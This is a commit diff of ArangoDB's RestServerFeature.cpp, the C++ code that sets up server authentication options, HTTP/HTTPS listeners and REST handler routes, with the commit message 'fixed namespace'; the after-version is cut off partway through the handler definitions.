{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"RestServerFeature.h\"\n\n#include \"ApplicationFeatures\/SslFeature.h\"\n#include \"Aql\/RestAqlHandler.h\"\n#include \"Agency\/AgencyFeature.h\"\n#include \"Agency\/RestAgencyHandler.h\"\n#include \"Agency\/RestAgencyPrivHandler.h\"\n#include \"Cluster\/AgencyCallbackRegistry.h\"\n#include \"Cluster\/ClusterComm.h\"\n#include \"Cluster\/ClusterFeature.h\"\n#include \"Cluster\/RestAgencyCallbacksHandler.h\"\n#include \"Cluster\/RestShardHandler.h\"\n#include \"Dispatcher\/DispatcherFeature.h\"\n#include \"HttpServer\/HttpHandlerFactory.h\"\n#include \"HttpServer\/HttpServer.h\"\n#include \"HttpServer\/HttpsServer.h\"\n#include \"ProgramOptions\/ProgramOptions.h\"\n#include \"ProgramOptions\/Section.h\"\n#include \"Rest\/Version.h\"\n#include \"RestHandler\/RestAdminLogHandler.h\"\n#include \"RestHandler\/RestBatchHandler.h\"\n#include \"RestHandler\/RestCursorHandler.h\"\n#include \"RestHandler\/RestDebugHandler.h\"\n#include \"RestHandler\/RestDocumentHandler.h\"\n#include \"RestHandler\/RestEchoHandler.h\"\n#include \"RestHandler\/RestEdgesHandler.h\"\n#include \"RestHandler\/RestExportHandler.h\"\n#include \"RestHandler\/RestHandlerCreator.h\"\n#include \"RestHandler\/RestImportHandler.h\"\n#include \"RestHandler\/RestJobHandler.h\"\n#include \"RestHandler\/RestPleaseUpgradeHandler.h\"\n#include \"RestHandler\/RestQueryCacheHandler.h\"\n#include \"RestHandler\/RestQueryHandler.h\"\n#include \"RestHandler\/RestReplicationHandler.h\"\n#include \"RestHandler\/RestShutdownHandler.h\"\n#include \"RestHandler\/RestSimpleHandler.h\"\n#include \"RestHandler\/RestSimpleQueryHandler.h\"\n#include \"RestHandler\/RestUploadHandler.h\"\n#include \"RestHandler\/RestVersionHandler.h\"\n#include \"RestHandler\/WorkMonitorHandler.h\"\n#include \"RestServer\/DatabaseFeature.h\"\n#include \"RestServer\/DatabaseServerFeature.h\"\n#include \"RestServer\/EndpointFeature.h\"\n#include \"RestServer\/QueryRegistryFeature.h\"\n#include \"RestServer\/ServerFeature.h\"\n#include \"Scheduler\/SchedulerFeature.h\"\n#include \"V8Server\/V8DealerFeature.h\"\n#include \"VocBase\/server.h\"\n\nusing namespace arangodb;\nusing namespace arangodb::application_features;\nusing namespace arangodb::rest;\nusing namespace arangodb::options;\n\nRestServerFeature::RestServerFeature(\n    application_features::ApplicationServer* server,\n    std::string const& authenticationRealm)\n    : ApplicationFeature(server, \"RestServer\"),\n      _keepAliveTimeout(300.0),\n      _authenticationRealm(authenticationRealm),\n      _defaultApiCompatibility(Version::getNumericServerVersion()),\n      _allowMethodOverride(false),\n      _authentication(true),\n      _authenticationUnixSockets(true),\n      _authenticationSystemOnly(false),\n      _handlerFactory(nullptr),\n      _jobManager(nullptr) {\n  setOptional(true);\n  requiresElevatedPrivileges(false);\n  startsAfter(\"Dispatcher\");\n  startsAfter(\"Endpoint\");\n  startsAfter(\"Scheduler\");\n  startsAfter(\"Server\");\n  startsAfter(\"Agency\");\n  startsAfter(\"LogfileManager\");\n  startsAfter(\"Database\");\n  startsAfter(\"Upgrade\");\n  startsAfter(\"CheckVersion\");\n}\n\nvoid RestServerFeature::collectOptions(\n    std::shared_ptr<ProgramOptions> options) {\n  options->addSection(\"server\", \"Server features\");\n\n  options->addHiddenOption(\"--server.default-api-compatibility\",\n                           \"default API compatibility version\",\n                           new Int32Parameter(&_defaultApiCompatibility));\n\n  options->addOption(\"--server.authentication\",\n                     \"enable or disable authentication for ALL client requests\",\n                     new BooleanParameter(&_authentication));\n\n  options->addOption(\n      \"--server.authentication-system-only\",\n      \"use HTTP authentication only for requests to \/_api and \/_admin\",\n      new BooleanParameter(&_authenticationSystemOnly));\n\n#ifdef ARANGODB_HAVE_DOMAIN_SOCKETS\n  options->addOption(\"--server.authentication-unix-sockets\",\n                     \"authentication for requests via UNIX domain sockets\",\n                     new BooleanParameter(&_authenticationUnixSockets));\n#endif\n\n  options->addSection(\"http\", \"HttpServer features\");\n\n  options->addHiddenOption(\"--http.allow-method-override\",\n                           \"allow HTTP method override using special headers\",\n                           new BooleanParameter(&_allowMethodOverride));\n\n  options->addOption(\"--http.keep-alive-timeout\",\n                     \"keep-alive timeout in seconds\",\n                     new DoubleParameter(&_keepAliveTimeout));\n\n  options->addOption(\n      \"--http.hide-product-header\",\n      \"do not expose \\\"Server: ArangoDB\\\" header in HTTP responses\",\n      new BooleanParameter(&HttpResponse::HIDE_PRODUCT_HEADER));\n}\n\nvoid RestServerFeature::validateOptions(std::shared_ptr<ProgramOptions>) {\n  if (_defaultApiCompatibility < HttpRequest::MIN_COMPATIBILITY) {\n    LOG(FATAL) << \"invalid value for --server.default-api-compatibility. \"\n                  \"minimum allowed value is \"\n               << HttpRequest::MIN_COMPATIBILITY;\n    FATAL_ERROR_EXIT();\n  }\n}\n\nstatic TRI_vocbase_t* LookupDatabaseFromRequest(HttpRequest* request,\n                                                TRI_server_t* server) {\n  \/\/ get database name from request\n  std::string dbName = request->databaseName();\n\n  if (dbName.empty()) {\n    \/\/ if no databases was specified in the request, use system database name\n    \/\/ as a fallback\n    dbName = TRI_VOC_SYSTEM_DATABASE;\n    request->setDatabaseName(dbName);\n  }\n\n  if (ServerState::instance()->isCoordinator()) {\n    return TRI_UseCoordinatorDatabaseServer(server, dbName.c_str());\n  }\n\n  return TRI_UseDatabaseServer(server, dbName.c_str());\n}\n\nstatic bool SetRequestContext(HttpRequest* request, void* data) {\n  TRI_server_t* server = static_cast<TRI_server_t*>(data);\n  TRI_vocbase_t* vocbase = LookupDatabaseFromRequest(request, server);\n\n  \/\/ invalid database name specified, database not found etc.\n  if (vocbase == nullptr) {\n    return false;\n  }\n\n  \/\/ database needs upgrade\n  if (vocbase->_state == (sig_atomic_t)TRI_VOCBASE_STATE_FAILED_VERSION) {\n    request->setRequestPath(\"\/_msg\/please-upgrade\");\n    return false;\n  }\n\n  VocbaseContext* ctx = new arangodb::VocbaseContext(request, server, vocbase);\n  request->setRequestContext(ctx, true);\n\n  \/\/ the \"true\" means the request is the owner of the context\n  return true;\n}\n\nvoid RestServerFeature::prepare() {\n  HttpHandlerFactory::setMaintenance(true);\n}\n\nvoid RestServerFeature::start() {\n  LOG(DEBUG) << \"using default API compatibility: \"\n             << (long int)_defaultApiCompatibility;\n\n  _jobManager.reset(new AsyncJobManager(ClusterCommRestCallback));\n\n  auto vocbase = DatabaseFeature::DATABASE->vocbase();\n  V8DealerFeature::DEALER->loadJavascript(vocbase, \"server\/server.js\");\n  _httpOptions._vocbase = vocbase;\n\n  _handlerFactory.reset(new HttpHandlerFactory(\n      _authenticationRealm, _defaultApiCompatibility, _allowMethodOverride,\n      &SetRequestContext, DatabaseServerFeature::SERVER));\n\n  defineHandlers();\n  buildServers();\n\n  for (auto& server : _servers) {\n    server->startListening();\n  }\n\n  \/\/ disabled maintenance mode\n  HttpHandlerFactory::setMaintenance(false);\n\n  LOG(INFO) << \"Authentication is turned \" << (_authentication ? \"on\" : \"off\");\n\n  if (_authentication) {\n    if (_authenticationSystemOnly) {\n      LOG(INFO) << \"Authentication system only\";\n    }\n\n#ifdef ARANGODB_HAVE_DOMAIN_SOCKETS\n    LOG(INFO) << \"Authentication for unix sockets is turned \"\n              << (_authenticationUnixSockets ? \"on\" : \"off\");\n#endif\n  }\n\n  LOG(INFO) << \"ArangoDB (version \" << ARANGODB_VERSION_FULL\n            << \") is ready for business. Have fun!\";\n}\n\nvoid RestServerFeature::stop() {\n  for (auto& server : _servers) {\n    server->stopListening();\n  }\n\n  for (auto& server : _servers) {\n    server->stop();\n  }\n\n  for (auto& server : _servers) {\n    delete server;\n  }\n\n  _httpOptions._vocbase = nullptr;\n}\n\nvoid RestServerFeature::buildServers() {\n  EndpointFeature* endpoint =\n      application_features::ApplicationServer::getFeature<EndpointFeature>(\n          \"Endpoint\");\n\n  \/\/ unencrypted HTTP endpoints\n  HttpServer* httpServer = new HttpServer(\n      SchedulerFeature::SCHEDULER, DispatcherFeature::DISPATCHER,\n      _handlerFactory.get(), _jobManager.get(), _keepAliveTimeout);\n\n  \/\/ YYY #warning FRANK filter list\n  auto const& endpointList = endpoint->endpointList();\n  httpServer->setEndpointList(&endpointList);\n  _servers.push_back(httpServer);\n\n  \/\/ ssl endpoints\n  if (endpointList.hasSsl()) {\n    SslFeature* ssl =\n        application_features::ApplicationServer::getFeature<SslFeature>(\"Ssl\");\n\n    \/\/ check the ssl context\n    if (ssl->sslContext() == nullptr) {\n      LOG(FATAL) << \"no ssl context is known, cannot create https server, \"\n                    \"please use the '--ssl.keyfile' option\";\n      FATAL_ERROR_EXIT();\n    }\n\n    SSL_CTX* sslContext = ssl->sslContext();\n\n    \/\/ https\n    httpServer =\n        new HttpsServer(SchedulerFeature::SCHEDULER,\n                        DispatcherFeature::DISPATCHER, _handlerFactory.get(),\n                        _jobManager.get(), _keepAliveTimeout, sslContext);\n\n    httpServer->setEndpointList(&endpointList);\n    _servers.push_back(httpServer);\n  }\n}\n\nvoid RestServerFeature::defineHandlers() {\n  AgencyFeature* agency =\n      application_features::ApplicationServer::getFeature<AgencyFeature>(\n          \"Agency\");\n  TRI_ASSERT(agency != nullptr);\n\n  ClusterFeature* cluster =\n      application_features::ApplicationServer::getFeature<ClusterFeature>(\n          \"Cluster\");\n  TRI_ASSERT(cluster != nullptr);\n\n  auto queryRegistry = QueryRegistryFeature::QUERY_REGISTRY;\n\n  \/\/ ...........................................................................\n  \/\/ \/_msg\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_msg\/please-upgrade\",\n      RestHandlerCreator<RestPleaseUpgradeHandler>::createNoData);\n\n  \/\/ ...........................................................................\n  \/\/ \/_api\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::BATCH_PATH,\n      RestHandlerCreator<RestBatchHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::CURSOR_PATH,\n      RestHandlerCreator<RestCursorHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::DOCUMENT_PATH,\n      RestHandlerCreator<RestDocumentHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::EDGES_PATH,\n      RestHandlerCreator<RestEdgesHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::EXPORT_PATH,\n      RestHandlerCreator<RestExportHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::IMPORT_PATH,\n      RestHandlerCreator<RestImportHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::REPLICATION_PATH,\n      RestHandlerCreator<RestReplicationHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_QUERY_ALL_PATH,\n      RestHandlerCreator<RestSimpleQueryHandler>::createData<\n          aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_QUERY_ALL_KEYS_PATH,\n      RestHandlerCreator<RestSimpleQueryHandler>::createData<\n          aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_LOOKUP_PATH,\n      RestHandlerCreator<RestSimpleHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_REMOVE_PATH,\n      RestHandlerCreator<RestSimpleHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::UPLOAD_PATH,\n      RestHandlerCreator<RestUploadHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/shard-comm\", RestHandlerCreator<RestShardHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/aql\",\n      RestHandlerCreator<aql::RestAqlHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/query\", RestHandlerCreator<RestQueryHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/query-cache\",\n      RestHandlerCreator<RestQueryCacheHandler>::createNoData);\n\n  if (agency->isEnabled()) {\n    _handlerFactory->addPrefixHandler(\n        RestVocbaseBaseHandler::AGENCY_PATH,\n        RestHandlerCreator<RestAgencyHandler>::createData<consensus::Agent*>,\n        agency->agent());\n\n    _handlerFactory->addPrefixHandler(\n        RestVocbaseBaseHandler::AGENCY_PRIV_PATH,\n        RestHandlerCreator<RestAgencyPrivHandler>::createData<\n            consensus::Agent*>,\n        agency->agent());\n  }\n\n  if (cluster->isEnabled()) {\n    \/\/ add \"\/agency-callbacks\" handler\n    _handlerFactory->addPrefixHandler(\n        cluster->agencyCallbacksPath(),\n        RestHandlerCreator<RestAgencyCallbacksHandler>::createData<\n            AgencyCallbackRegistry*>,\n        cluster->agencyCallbackRegistry());\n  }\n\n  \/\/ And now some handlers which are registered in both \/_api and \/_admin\n  _handlerFactory->addPrefixHandler(\n      \"\/_api\/job\", RestHandlerCreator<arangodb::RestJobHandler>::createData<\n                       AsyncJobManager*>,\n      _jobManager.get());\n\n  _handlerFactory->addHandler(\n      \"\/_api\/version\", RestHandlerCreator<RestVersionHandler>::createNoData);\n\n  \/\/ ...........................................................................\n  \/\/ \/_admin\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/job\", RestHandlerCreator<arangodb::RestJobHandler>::createData<\n                         AsyncJobManager*>,\n      _jobManager.get());\n\n  _handlerFactory->addHandler(\n      \"\/_admin\/version\", RestHandlerCreator<RestVersionHandler>::createNoData);\n\n  \/\/ further admin handlers\n  _handlerFactory->addHandler(\n      \"\/_admin\/log\",\n      RestHandlerCreator<arangodb::RestAdminLogHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/work-monitor\",\n      RestHandlerCreator<WorkMonitorHandler>::createNoData);\n\n  _handlerFactory->addHandler(\n      \"\/_admin\/json-echo\",\n      RestHandlerCreator<RestEchoHandler>::createNoData);\n\n#ifdef ARANGODB_ENABLE_FAILURE_TESTS\n  \/\/ This handler is to activate SYS_DEBUG_FAILAT on DB servers\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/debug\", RestHandlerCreator<RestDebugHandler>::createNoData);\n#endif\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_admin\/shutdown\",\n      RestHandlerCreator<arangodb::RestShutdownHandler>::createNoData);\n\n  \/\/ ...........................................................................\n  \/\/ \/_admin\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      \"\/\", RestHandlerCreator<RestActionHandler>::createData<\n               RestActionHandler::action_options_t*>,\n      (void*)&_httpOptions);\n}\n<commit_msg>fixed namespace<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ DISCLAIMER\n\/\/\/\n\/\/\/ Copyright 2016 ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/\/ you may not use this file except in compliance with the License.\n\/\/\/ You may obtain a copy of the License at\n\/\/\/\n\/\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\/\n\/\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/\/ See the License for the specific language governing permissions and\n\/\/\/ limitations under the License.\n\/\/\/\n\/\/\/ Copyright holder is ArangoDB GmbH, Cologne, Germany\n\/\/\/\n\/\/\/ @author Dr. Frank Celler\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"RestServerFeature.h\"\n\n#include \"ApplicationFeatures\/SslFeature.h\"\n#include \"Aql\/RestAqlHandler.h\"\n#include \"Agency\/AgencyFeature.h\"\n#include \"Agency\/RestAgencyHandler.h\"\n#include \"Agency\/RestAgencyPrivHandler.h\"\n#include \"Cluster\/AgencyCallbackRegistry.h\"\n#include \"Cluster\/ClusterComm.h\"\n#include \"Cluster\/ClusterFeature.h\"\n#include \"Cluster\/RestAgencyCallbacksHandler.h\"\n#include \"Cluster\/RestShardHandler.h\"\n#include \"Dispatcher\/DispatcherFeature.h\"\n#include \"HttpServer\/HttpHandlerFactory.h\"\n#include \"HttpServer\/HttpServer.h\"\n#include \"HttpServer\/HttpsServer.h\"\n#include \"ProgramOptions\/ProgramOptions.h\"\n#include \"ProgramOptions\/Section.h\"\n#include \"Rest\/Version.h\"\n#include \"RestHandler\/RestAdminLogHandler.h\"\n#include \"RestHandler\/RestBatchHandler.h\"\n#include \"RestHandler\/RestCursorHandler.h\"\n#include \"RestHandler\/RestDebugHandler.h\"\n#include \"RestHandler\/RestDocumentHandler.h\"\n#include \"RestHandler\/RestEchoHandler.h\"\n#include \"RestHandler\/RestEdgesHandler.h\"\n#include \"RestHandler\/RestExportHandler.h\"\n#include \"RestHandler\/RestHandlerCreator.h\"\n#include \"RestHandler\/RestImportHandler.h\"\n#include \"RestHandler\/RestJobHandler.h\"\n#include \"RestHandler\/RestPleaseUpgradeHandler.h\"\n#include \"RestHandler\/RestQueryCacheHandler.h\"\n#include \"RestHandler\/RestQueryHandler.h\"\n#include \"RestHandler\/RestReplicationHandler.h\"\n#include \"RestHandler\/RestShutdownHandler.h\"\n#include \"RestHandler\/RestSimpleHandler.h\"\n#include \"RestHandler\/RestSimpleQueryHandler.h\"\n#include \"RestHandler\/RestUploadHandler.h\"\n#include \"RestHandler\/RestVersionHandler.h\"\n#include \"RestHandler\/WorkMonitorHandler.h\"\n#include \"RestServer\/DatabaseFeature.h\"\n#include \"RestServer\/DatabaseServerFeature.h\"\n#include \"RestServer\/EndpointFeature.h\"\n#include \"RestServer\/QueryRegistryFeature.h\"\n#include \"RestServer\/ServerFeature.h\"\n#include \"Scheduler\/SchedulerFeature.h\"\n#include \"V8Server\/V8DealerFeature.h\"\n#include \"VocBase\/server.h\"\n\nusing namespace arangodb;\nusing namespace arangodb::rest;\nusing namespace arangodb::options;\n\nRestServerFeature::RestServerFeature(\n    application_features::ApplicationServer* server,\n    std::string const& authenticationRealm)\n    : ApplicationFeature(server, \"RestServer\"),\n      _keepAliveTimeout(300.0),\n      _authenticationRealm(authenticationRealm),\n      _defaultApiCompatibility(Version::getNumericServerVersion()),\n      _allowMethodOverride(false),\n      _authentication(true),\n      _authenticationUnixSockets(true),\n      _authenticationSystemOnly(false),\n      _handlerFactory(nullptr),\n      _jobManager(nullptr) {\n  setOptional(true);\n  requiresElevatedPrivileges(false);\n  startsAfter(\"Dispatcher\");\n  startsAfter(\"Endpoint\");\n  startsAfter(\"Scheduler\");\n  startsAfter(\"Server\");\n  startsAfter(\"Agency\");\n  startsAfter(\"LogfileManager\");\n  startsAfter(\"Database\");\n  startsAfter(\"Upgrade\");\n  startsAfter(\"CheckVersion\");\n}\n\nvoid RestServerFeature::collectOptions(\n    std::shared_ptr<ProgramOptions> options) {\n  options->addSection(\"server\", \"Server features\");\n\n  options->addHiddenOption(\"--server.default-api-compatibility\",\n                           \"default API compatibility version\",\n                           new Int32Parameter(&_defaultApiCompatibility));\n\n  options->addOption(\"--server.authentication\",\n                     \"enable or disable authentication for ALL client requests\",\n                     new BooleanParameter(&_authentication));\n\n  options->addOption(\n      \"--server.authentication-system-only\",\n      \"use HTTP authentication only for requests to \/_api and \/_admin\",\n      new BooleanParameter(&_authenticationSystemOnly));\n\n#ifdef ARANGODB_HAVE_DOMAIN_SOCKETS\n  options->addOption(\"--server.authentication-unix-sockets\",\n                     \"authentication for requests via UNIX domain sockets\",\n                     new BooleanParameter(&_authenticationUnixSockets));\n#endif\n\n  options->addSection(\"http\", \"HttpServer features\");\n\n  options->addHiddenOption(\"--http.allow-method-override\",\n                           \"allow HTTP method override using special headers\",\n                           new BooleanParameter(&_allowMethodOverride));\n\n  options->addOption(\"--http.keep-alive-timeout\",\n                     \"keep-alive timeout in seconds\",\n                     new DoubleParameter(&_keepAliveTimeout));\n\n  options->addOption(\n      \"--http.hide-product-header\",\n      \"do not expose \\\"Server: ArangoDB\\\" header in HTTP responses\",\n      new BooleanParameter(&HttpResponse::HIDE_PRODUCT_HEADER));\n}\n\nvoid RestServerFeature::validateOptions(std::shared_ptr<ProgramOptions>) {\n  if (_defaultApiCompatibility < HttpRequest::MIN_COMPATIBILITY) {\n    LOG(FATAL) << \"invalid value for --server.default-api-compatibility. \"\n                  \"minimum allowed value is \"\n               << HttpRequest::MIN_COMPATIBILITY;\n    FATAL_ERROR_EXIT();\n  }\n}\n\nstatic TRI_vocbase_t* LookupDatabaseFromRequest(HttpRequest* request,\n                                                TRI_server_t* server) {\n  \/\/ get database name from request\n  std::string dbName = request->databaseName();\n\n  if (dbName.empty()) {\n    \/\/ if no databases was specified in the request, use system database name\n    \/\/ as a fallback\n    dbName = TRI_VOC_SYSTEM_DATABASE;\n    request->setDatabaseName(dbName);\n  }\n\n  if (ServerState::instance()->isCoordinator()) {\n    return TRI_UseCoordinatorDatabaseServer(server, dbName.c_str());\n  }\n\n  return TRI_UseDatabaseServer(server, dbName.c_str());\n}\n\nstatic bool SetRequestContext(HttpRequest* request, void* data) {\n  TRI_server_t* server = static_cast<TRI_server_t*>(data);\n  TRI_vocbase_t* vocbase = LookupDatabaseFromRequest(request, server);\n\n  \/\/ invalid database name specified, database not found etc.\n  if (vocbase == nullptr) {\n    return false;\n  }\n\n  \/\/ database needs upgrade\n  if (vocbase->_state == (sig_atomic_t)TRI_VOCBASE_STATE_FAILED_VERSION) {\n    request->setRequestPath(\"\/_msg\/please-upgrade\");\n    return false;\n  }\n\n  VocbaseContext* ctx = new arangodb::VocbaseContext(request, server, vocbase);\n  request->setRequestContext(ctx, true);\n\n  \/\/ the \"true\" means the request is the owner of the context\n  return true;\n}\n\nvoid RestServerFeature::prepare() {\n  HttpHandlerFactory::setMaintenance(true);\n}\n\nvoid RestServerFeature::start() {\n  LOG(DEBUG) << \"using default API compatibility: \"\n             << (long int)_defaultApiCompatibility;\n\n  _jobManager.reset(new AsyncJobManager(ClusterCommRestCallback));\n\n  auto vocbase = DatabaseFeature::DATABASE->vocbase();\n  V8DealerFeature::DEALER->loadJavascript(vocbase, \"server\/server.js\");\n  _httpOptions._vocbase = vocbase;\n\n  _handlerFactory.reset(new HttpHandlerFactory(\n      _authenticationRealm, _defaultApiCompatibility, _allowMethodOverride,\n      &SetRequestContext, DatabaseServerFeature::SERVER));\n\n  defineHandlers();\n  buildServers();\n\n  for (auto& server : _servers) {\n    server->startListening();\n  }\n\n  \/\/ disabled maintenance mode\n  HttpHandlerFactory::setMaintenance(false);\n\n  LOG(INFO) << \"Authentication is turned \" << (_authentication ? \"on\" : \"off\");\n\n  if (_authentication) {\n    if (_authenticationSystemOnly) {\n      LOG(INFO) << \"Authentication system only\";\n    }\n\n#ifdef ARANGODB_HAVE_DOMAIN_SOCKETS\n    LOG(INFO) << \"Authentication for unix sockets is turned \"\n              << (_authenticationUnixSockets ? \"on\" : \"off\");\n#endif\n  }\n\n  LOG(INFO) << \"ArangoDB (version \" << ARANGODB_VERSION_FULL\n            << \") is ready for business. Have fun!\";\n}\n\nvoid RestServerFeature::stop() {\n  for (auto& server : _servers) {\n    server->stopListening();\n  }\n\n  for (auto& server : _servers) {\n    server->stop();\n  }\n\n  for (auto& server : _servers) {\n    delete server;\n  }\n\n  _httpOptions._vocbase = nullptr;\n}\n\nvoid RestServerFeature::buildServers() {\n  EndpointFeature* endpoint =\n      application_features::ApplicationServer::getFeature<EndpointFeature>(\n          \"Endpoint\");\n\n  \/\/ unencrypted HTTP endpoints\n  HttpServer* httpServer = new HttpServer(\n      SchedulerFeature::SCHEDULER, DispatcherFeature::DISPATCHER,\n      _handlerFactory.get(), _jobManager.get(), _keepAliveTimeout);\n\n  \/\/ YYY #warning FRANK filter list\n  auto const& endpointList = endpoint->endpointList();\n  httpServer->setEndpointList(&endpointList);\n  _servers.push_back(httpServer);\n\n  \/\/ ssl endpoints\n  if (endpointList.hasSsl()) {\n    SslFeature* ssl =\n        application_features::ApplicationServer::getFeature<SslFeature>(\"Ssl\");\n\n    \/\/ check the ssl context\n    if (ssl->sslContext() == nullptr) {\n      LOG(FATAL) << \"no ssl context is known, cannot create https server, \"\n                    \"please use the '--ssl.keyfile' option\";\n      FATAL_ERROR_EXIT();\n    }\n\n    SSL_CTX* sslContext = ssl->sslContext();\n\n    \/\/ https\n    httpServer =\n        new HttpsServer(SchedulerFeature::SCHEDULER,\n                        DispatcherFeature::DISPATCHER, _handlerFactory.get(),\n                        _jobManager.get(), _keepAliveTimeout, sslContext);\n\n    httpServer->setEndpointList(&endpointList);\n    _servers.push_back(httpServer);\n  }\n}\n\nvoid RestServerFeature::defineHandlers() {\n  AgencyFeature* agency =\n      application_features::ApplicationServer::getFeature<AgencyFeature>(\n          \"Agency\");\n  TRI_ASSERT(agency != nullptr);\n\n  ClusterFeature* cluster =\n      application_features::ApplicationServer::getFeature<ClusterFeature>(\n          \"Cluster\");\n  TRI_ASSERT(cluster != nullptr);\n\n  auto queryRegistry = QueryRegistryFeature::QUERY_REGISTRY;\n\n  \/\/ ...........................................................................\n  \/\/ \/_msg\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      \"\/_msg\/please-upgrade\",\n      RestHandlerCreator<RestPleaseUpgradeHandler>::createNoData);\n\n  \/\/ ...........................................................................\n  \/\/ \/_api\n  \/\/ ...........................................................................\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::BATCH_PATH,\n      RestHandlerCreator<RestBatchHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::CURSOR_PATH,\n      RestHandlerCreator<RestCursorHandler>::createData<aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::DOCUMENT_PATH,\n      RestHandlerCreator<RestDocumentHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::EDGES_PATH,\n      RestHandlerCreator<RestEdgesHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::EXPORT_PATH,\n      RestHandlerCreator<RestExportHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::IMPORT_PATH,\n      RestHandlerCreator<RestImportHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::REPLICATION_PATH,\n      RestHandlerCreator<RestReplicationHandler>::createNoData);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_QUERY_ALL_PATH,\n      RestHandlerCreator<RestSimpleQueryHandler>::createData<\n          aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_QUERY_ALL_KEYS_PATH,\n      RestHandlerCreator<RestSimpleQueryHandler>::createData<\n          aql::QueryRegistry*>,\n      queryRegistry);\n\n  _handlerFactory->addPrefixHandler(\n      RestVocbaseBaseHandler::SIMPLE_LOOKUP_PATH,\n      